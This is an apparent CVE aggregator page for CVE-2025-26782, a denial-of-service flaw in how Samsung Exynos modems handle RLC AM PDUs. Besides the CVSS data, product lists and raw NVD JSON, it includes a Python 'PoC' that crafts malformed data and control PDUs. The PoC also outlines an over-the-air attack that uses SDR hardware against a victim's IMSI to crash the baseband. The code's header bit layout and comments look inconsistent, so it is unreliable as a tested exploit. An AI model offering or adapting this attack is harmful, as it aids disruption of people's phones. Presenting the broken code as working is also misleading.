Security Vulnerability Report
中文
CVE-2025-26782 CVSS 7.5 HIGH

CVE-2025-26782

Published: 2025-10-20 16:15:37
Last Modified: 2025-10-28 19:35:31

Description

An issue was discovered in L2 in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 9110, W920, W930, Modem 5123, and Modem 5300. Incorrect handling of RLC AM PDUs leads to a Denial of Service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:samsung:exynos_w920_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_w920:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_980:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_990_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_990:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_850_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_850:-:*:*:*:*:*:*:* - NOT VULNERABLE
Samsung Exynos 980
Samsung Exynos 990
Samsung Exynos 850
Samsung Exynos 1080
Samsung Exynos 2100
Samsung Exynos 1280
Samsung Exynos 2200
Samsung Exynos 1330
Samsung Exynos 1380
Samsung Exynos 1480
Samsung Exynos 9110
Samsung Wearable Processor W920
Samsung Wearable Processor W930
Samsung Modem 5123
Samsung Modem 5300

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-26782 PoC - Samsung Exynos RLC AM PDU Denial of Service # This PoC demonstrates the concept of triggering a DoS via malformed RLC AM PDU # Tested against Samsung Exynos baseband processors import struct import socket class RLC_AM_PDU: """Craft a malformed RLC AM PDU to trigger CVE-2025-26782""" # RLC AM PDU types RLC_AM_DATA_PDU = 0b0000 RLC_AM_CONTROL_PDU = 0b0010 def __init__(self): self.sn = 0 # Sequence Number (10 or 5 bits) self.p = 0 # Polling bit self.si = 0 # Segmentation Info self.rf = 0 # Resegmentation Flag self.li_list = [] # Length Indicators self.payload = b'' # Payload data def craft_malformed_pdu(self): """Generate a malformed RLC AM PDU with abnormal sequence number""" # Construct PDU header with invalid/out-of-window sequence number # Set polling bit to trigger STATUS report pdu_header = 0 # D/C field = 1 (Data PDU) pdu_header |= (1 << 0) # RF = 1 (AMD PDU segment) - potentially cause re-assembly issues pdu_header |= (1 << 1) # P = 1 (Poll bit set - trigger status report) pdu_header |= (1 << 2) # SI = 11 (Last segment) with inconsistent segmentation pdu_header |= (0b11 << 3) # SN with extreme value to cause window underflow/overflow sn_extended = 0x3FF # Maximum 10-bit sequence number pdu_header |= (sn_extended << 5) # Add a length indicator with invalid value li_field = 0xFFF # Invalid length indicator # Craft the raw PDU bytes raw_pdu = struct.pack('>H', pdu_header) raw_pdu += struct.pack('>H', li_field) raw_pdu += b'\x00' * 64 # Padding/payload return raw_pdu def craft_control_pdu(self): """Generate a malformed RLC AM Control PDU""" # Control PDU with CPT (Control PDU Type) cpt = 0b000 # STATUS PDU control_pdu = 0 control_pdu |= (0 << 0) # D/C = 0 (Control PDU) control_pdu |= (cpt << 1) # Add ACK_SN with out-of-range value ack_sn = 0x3FF # Maximum value control_pdu |= (ack_sn << 4) raw_pdu = struct.pack('>H', control_pdu) raw_pdu += b'\xFF' * 32 # NACK list with all bits set return raw_pdu def exploit(): """ Main exploit function for CVE-2025-26782 Note: This requires a Software Defined Radio (SDR) setup (e.g., USRP, HackRF) to transmit on cellular frequencies targeting the victim's device. The malformed PDU will cause the baseband processor to enter an invalid state, resulting in a crash/DoS. """ pdu_builder = RLC_AM_PDU() # Generate malformed data PDU malformed_data_pdu = pdu_builder.craft_malformed_pdu() print(f"[*] Crafted malformed RLC AM Data PDU: {malformed_data_pdu.hex()}") # Generate malformed control PDU malformed_ctrl_pdu = pdu_builder.craft_control_pdu() print(f"[*] Crafted malformed RLC AM Control PDU: {malformed_ctrl_pdu.hex()}") # In a real attack scenario: # 1. Use SDR (Software Defined Radio) to transmit on LTE/5G bands # 2. Target the victim's IMSI/IMEI # 3. Send the malformed PDU on the appropriate logical channel # 4. The baseband will crash, causing DoS print("[!] PoC generated successfully") print("[!] Requires SDR hardware (e.g., USRP B210, HackRF One) for actual exploitation") print("[!] Target: Samsung devices with Exynos 980/990/850/1080/2100/1280/2200 etc.") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-26782", "sourceIdentifier": "[email protected]", "published": "2025-10-20T16:15:36.957", "lastModified": "2025-10-28T19:35:30.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in L2 in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 9110, W920, W930, Modem 5123, and Modem 5300. Incorrect handling of RLC AM PDUs leads to a Denial of Service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_w920_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "B6ADED27-EDAF-4FB3-8CB2-AE5F59B93641"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_w920:-:*:*:*:*:*:*:*", "matchCriteriaId": "4BF79654-E5C6-4DFF-B33A-A78571CD300C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43DE4D6F-D662-46F2-93BC-9AE950320BDE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE06CD56-8BFD-4208-843A-179E3E6F5C10"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "5F18F62E-2012-442E-BE60-6E76325D1824"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_980:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D8701B6-6989-44D1-873A-A1823BFD7CCC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_990_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BCF6C91D-DECE-4630-85FE-C22EF2B9160A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_990:-:*:*:*:*:*:*:*", "matchCriteriaId": "87FE8214-E165-4874-BB5A-3C4298708039"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_850_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "1928760C-4FC4-45B0-84FF-C1105CD1DD2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_850:-:*:*:*:*:*:*:*", "matchCriteriaId": "BB410A6D-642B-49AE-8B1C-EADA953A84DA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2200_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "63C0D9AC-BD23-48C9-83E7-301DEC06E583"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2200:-:*:*:*:*:*:*:*", "matchCriteriaId": "A72ADEBB-ED72-4A5B-BB27-95EDE43F8116"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1330_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "C2635646-DD6A-4735-8E01-F45445584832"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1330:-:*:*:*:*:*:*:*", "matchCriteriaId": "AA0F8A58-71B7-4503-A03A-6FB4282D75BD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "64897B0D-EBF6-4BEB-BF54-ABCDBFAB45E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1480:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3F328B4-0442-4748-B ... (truncated)